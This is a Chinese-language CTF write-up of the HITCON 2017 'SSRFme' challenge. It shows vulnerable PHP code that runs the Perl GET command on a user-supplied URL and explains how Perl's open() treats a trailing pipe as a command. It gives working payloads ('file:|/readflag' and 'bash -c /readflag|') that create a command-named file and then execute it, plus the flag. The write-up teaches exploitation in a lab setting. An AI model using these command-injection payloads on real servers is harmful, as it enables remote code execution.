WEB|[HITCON 2017]SSRFme

发布时间 2023-05-06 14:52:00作者: scarecr0w7

源码

110.244.80.206 <?php
    if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
        $http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
        $_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
    }# 获取客户端ip地址

    echo $_SERVER["REMOTE_ADDR"];

# 创建sandbox/md5("orange+ip")文件夹并切换
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    @mkdir($sandbox);
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); # shell_exec()执行命令,url可控
    $info = pathinfo($_GET["filename"]); # 将以数组的形式返回文件路径的信息
    $dir  = str_replace(".", "", basename($info["dirname"])); # 路径中的文件名部分替换.为空
    # 创建文件夹并切换
    @mkdir($dir);
    @chdir($dir);
    # 将shell_exec()执行命令的内容写入文件中
    @file_put_contents(basename($info["basename"]), $data);
    highlight_file(__FILE__);

GET命令

└─# GET -h         
Usage: GET [-options] <url>...
    -m <method>   use method for the request (default is 'GET')
    -f            make request even if GET believes method is illegal
    -b <base>     Use the specified URL as base
    -t <timeout>  Set timeout value
    -i <time>     Set the If-Modified-Since header on the request
    -c <conttype> use this content-type for POST, PUT, CHECKIN
    -a            Use text mode for content I/O
    -p <proxyurl> use this as a proxy
    -P            don't load proxy settings from environment
    -H <header>   send this HTTP header (you can specify several)
    -C <username>:<password>
                  provide credentials for basic authentication

    -u            Display method and URL before any response
    -U            Display request headers (implies -u)
    -s            Display response status code
    -S            Display response status chain (implies -u)
    -e            Display response headers (implies -s)
    -E            Display whole chain of headers (implies -S and -U)
    -d            Do not display content
    -o <format>   Process HTML content in various ways

    -v            Show program version
    -h            Print this message

GET命令可以读取目录和文件内容并返回

payload

?url=/&filename=123

利用GET命令读取根目录内容并写入到123文件中

  • url=/:GET /
  • filename=123:这里只有文件名没有目录,所以当前文件夹为sandbox/md5("orange+ip")

构造url发送请求

访问目录

http://6627f504-5fd7-49ba-b3c3-c2f940d010f4.node4.buuoj.cn:81/sandbox/2eeed2f9aeae6311b507ada8fb98809e/123


可以看到根目录中有flag文件,读取flag文件,但是并没有内容

?url=/flag&filename=123


再看根目录内容还有一个readflag,按ctf常规套路readflag应该是一个可执行文件,需要执行readflag才能读取到flag

perl语言GET open命令漏洞

GET是Lib for WWW in Perl中的命令,目的是模拟http的GET请求,GET函数底层就是调用了open处理,open存在命令执行,并且还支持file函数。要执行的命令先前必须要有以命令为文件名的文件存在。
perl函数看到要打开的文件名中如果以管道符(键盘上那个竖杠 |)结尾,就会中断原有打开文件操作,并且把这个文件名当作一个命令来执行,并且将命令的执行结果作为这个文件的内容写入。

payload1

创建以命令为文件名的文件

?url=&filename=|/readflag

执行命令

?url=file:|/readflag&filename=123

访问页面得到flag

flag{6dd67321-ce5e-4254-a00a-f8a27578c75c}

payload2

# 创建以命令为文件名的文件
/?url=file:bash -c /readflag|&filename=bash -c /readflag|

# 执行命令
/?url=file:bash -c /readflag|&filename=123

参考文章:
GET的命令执行漏洞